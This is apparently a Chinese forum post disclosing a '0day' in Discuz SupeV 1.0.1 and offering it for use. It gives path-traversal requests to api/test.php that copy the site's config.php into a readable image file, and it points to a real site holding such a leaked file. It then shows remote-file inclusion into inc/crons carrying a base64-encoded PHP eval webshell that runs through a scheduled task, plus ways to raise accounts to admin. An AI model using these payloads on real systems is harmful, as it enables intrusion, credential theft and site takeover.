# 鬼仔:作者留言纠正文中的错误

漏洞形成,直接以get方式请求
api/test.php?thumb=../config.php&vid=../../1会把config.php复制到根目录下1.jpg
这里写错了,应该是attachments\thumb\1.jpg写入倒了这里,向上跳4级才是根目录,这里只跳了2级,大家分析下代码就知道了,好多人都说利用不了,下面贴一个站出来给大家看
http://video.worlddiy.net/attachments\thumb\1.jpg
上次匆忙文章没写清楚,还望谅解

来源: WEB安全手册

感谢 ′&廢.的投递

大家好,我是无名

今天发布个discuz旗下产品 "视频播客 SupeV 1.0.1" 0day

漏洞文件:api目录下test.php

直接看代码

$str=file_get_contents( $thumb );//首先第18行用file_get_contents() 读取$thumb参数的文件内容,注意这里也可以读远程文件,
$path = ".".getthumb_path( $vid );//第19行获取路径参数 $vid
$opt_big = array(

"targetfile" => $path.".jpg",

"attach" => $attach['attach'],

"ext" => $attach['extension'],

"ratio" => false,

"width" => THUMB_BIG_WIDTH,

"height" => THUMB_BIG_HEIGHT

);  //24行到39行定义$opt_big和$opt_small数组

@sf_copy( $opt_big['targetfile'], $opt_small['targetfile'] );//紧接着第40行就开始copy了,注意看,把$opt_big数组里的targetfile复制到$opt_small数组的targetfile

漏洞形成,直接以get方式请求

api/test.php?thumb=../config.php&vid=../../1

会把config.php复制到根目录下1.jpg

这样就得到了网站的配置文件,phpmyadmin连上去,如果是root连接,直接导出shell,不会的查查对应文章,这里不再叙述。

如果不是root,就注册个账号,连上去把用户的admgid改成1  在sv_members表里

接下来讲后台获取shell,

前面test.php代码file_get_contents() 可以读取远程文件写入到网站目录

api/test.php?thumb=http://你的空间地址/test.txt&vid=../../../../inc/crons/1

写到inc/crons/1.jpg

test.txt内容

<?php fputs(fopen("111.php","w"),base64_decode("PD9ldmFsKCRfUE9TVFtjbWRdKTs/Pg=="));?>

作用是在当前目录生成111.php 内容是LANKER的一句话,密码cmd

为什么写这里,等下就知道了,进入后台,点上方的辅助工具,新增计划任务
200902272335554116
200902272336065542
200902272336151551
提交就执行了inc/crons/1.jpg内容会在根目录下生成111.php内容是LANKER的一句话,密码cmd
成功拿到shell,完了记得删除那个计划任务,不然网站就打不开了,

不会用的联系我
联系qq:57112848
cainiaokunmm@163.com
Powered by SupeV 1.0.1  exploit   Found by : 无名